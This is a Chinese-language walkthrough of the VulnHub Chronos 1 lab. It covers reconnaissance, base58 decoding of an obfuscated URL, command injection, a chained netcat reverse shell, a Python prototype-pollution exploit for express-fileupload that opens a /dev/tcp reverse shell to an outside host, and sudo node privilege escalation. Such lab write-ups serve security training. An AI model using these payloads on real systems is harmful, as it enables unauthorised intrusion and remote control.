靶机地址:
https://www.vulnhub.com/entry/chronos-1,735/
难度:中(构思巧妙)
目标:取得2个flag+root权限
涉及攻击方法:
- 端口扫描
- WEB侦察
- 命令注入
- 数据编解码
- 搜索大法
- 框架漏洞利用
- 代码审计
- NC串联
- 本地提权
0x01
sudo netdiscover -r 10.0.2.0/16 #主机发现
sudo nmap -p- 10.0.2.6 #扫描全端口
sudo nmap -p22,80,8000 -sV 10.0.2.6 #扫描端口所开启的服务
0x02
访问80端口并查看页面源码
在script标签里发现一段脚本
var _0x5bdf = [
'150447srWefj',
'70lwLrol',
'1658165LmcNig',
'open',
'1260881JUqdKM',
'10737CrnEEe',
'2SjTdWC',
'readyState',
'responseText',
'1278676qXleJg',
'797116soVTES',
'onreadystatechange',
'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL',
'User-Agent',
'status',
'1DYOODT',
'400909Mbbcfr',
'Chronos',
'2QRBPWS',
'getElementById',
'innerHTML',
'date'
];
(function (_0x506b95, _0x817e36) {
var _0x244260 = _0x432d;
while (!![]) {
try {
var _0x35824b = -parseInt(_0x244260(126)) * parseInt(_0x244260(144)) + parseInt(_0x244260(142)) + parseInt(_0x244260(127)) * parseInt(_0x244260(131)) + -parseInt(_0x244260(135)) + -parseInt(_0x244260(130)) * parseInt(_0x244260(141)) + -parseInt(_0x244260(136)) + parseInt(_0x244260(128)) * parseInt(_0x244260(132));
if (_0x35824b === _0x817e36)
break;
else
_0x506b95['push'](_0x506b95['shift']());
} catch (_0x3fb1dc) {
_0x506b95['push'](_0x506b95['shift']());
}
}
}(_0x5bdf, 831262));
function _0x432d(_0x16bd66, _0x33ffa9) {
return _0x432d = function (_0x5bdf82, _0x432dc8) {
_0x5bdf82 = _0x5bdf82 - 126;
var _0x4da6e8 = _0x5bdf[_0x5bdf82];
return _0x4da6e8;
}, _0x432d(_0x16bd66, _0x33ffa9);
}
function loadDoc() {
var _0x17df92 = _0x432d, _0x1cff55 = _0x17df92(143), _0x2beb35 = new XMLHttpRequest();
_0x2beb35[_0x17df92(137)] = function () {
var _0x146f5d = _0x17df92;
this[_0x146f5d(133)] == 4 && this[_0x146f5d(140)] == 200 && (document[_0x146f5d(145)](_0x146f5d(147))[_0x146f5d(146)] = this[_0x146f5d(134)]);
}, _0x2beb35[_0x17df92(129)]('GET', _0x17df92(138), !![]), _0x2beb35['setRequestHeader'](_0x17df92(139), _0x1cff55), _0x2beb35['send']();
}
发现url
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
chronos.local #将域名添加到hosts文件 使其正常解析
刷新页面使用burpsuite截获
4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL #base58解码
解码发现为date命令 使用命令注入
0x03
使用NC串联
&&nc 10.0.2.4 4444 | /bin/bash | nc 10.0.2.4 5555
进行信息收集
pwd #查看当前所在位置
cat #查看文件内容
ls #查看所在目录下的内容
尝试在所在目录收集信息 没有发现有用的信息 进到opt目录下查看包含两个文件 依次查看文件内容 在chronos-v2文件下发现backend文件包含package.json 查看.json文件,发现express-fileupload,尝试查找express-fileupload漏洞
参考
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'
# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://p6.is:7777')
0x04
传到靶机执行该文件
python3 -m http.server 80 #在kali开启http.server服务提供下载
nc -nvlp 4444 #kali本机开启侦听端口
wget #利用wget下载到靶机
python3 exp.py #在靶机执行该文件
ls发现user.txt 得到第一个flag
0x05
进一步获得root权限
sudo node -e 'child_process.spawn("/bin/bash",{stdio:[0,1,2]})' #利用sudo提升权限
在root.txt中发现第二个flag
0x06
成功获得2个flag和root权限